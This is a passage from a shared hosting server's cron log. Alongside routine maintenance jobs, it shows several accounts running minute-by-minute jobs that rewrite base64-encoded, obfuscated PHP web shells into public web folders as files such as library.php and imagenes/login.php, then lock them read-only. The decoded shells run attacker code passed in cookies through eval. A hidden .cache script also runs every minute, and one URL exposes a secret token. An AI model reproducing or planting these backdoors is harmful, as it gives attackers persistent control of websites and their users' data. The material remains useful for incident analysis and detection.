IgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:37:01 medusa CROND[22250]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:37:01 medusa CROND[22252]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:37:01 medusa CROND[22253]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:37:01 medusa CROND[22254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:37:01 medusa CROND[22255]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:37:01 medusa CROND[22256]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:37:01 medusa CROND[22258]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:37:01 medusa CROND[22259]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:38:01 medusa CROND[8151]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:38:01 medusa CROND[8255]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:38:01 medusa CROND[8324]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:38:01 medusa CROND[8325]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:38:01 medusa CROND[8327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:38:01 medusa CROND[8330]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:38:01 medusa CROND[8331]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:38:01 medusa CROND[8332]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:38:01 medusa CROND[8335]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:38:01 medusa CROND[8336]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:38:01 medusa CROND[8337]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:38:01 medusa CROND[8340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:38:01 medusa CROND[8350]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:39:01 medusa CROND[26132]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:39:01 medusa CROND[26171]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 07:39:01 medusa CROND[26306]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:39:01 medusa CROND[26381]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:39:01 medusa CROND[26382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:39:01 medusa CROND[26383]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:39:01 medusa CROND[26386]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV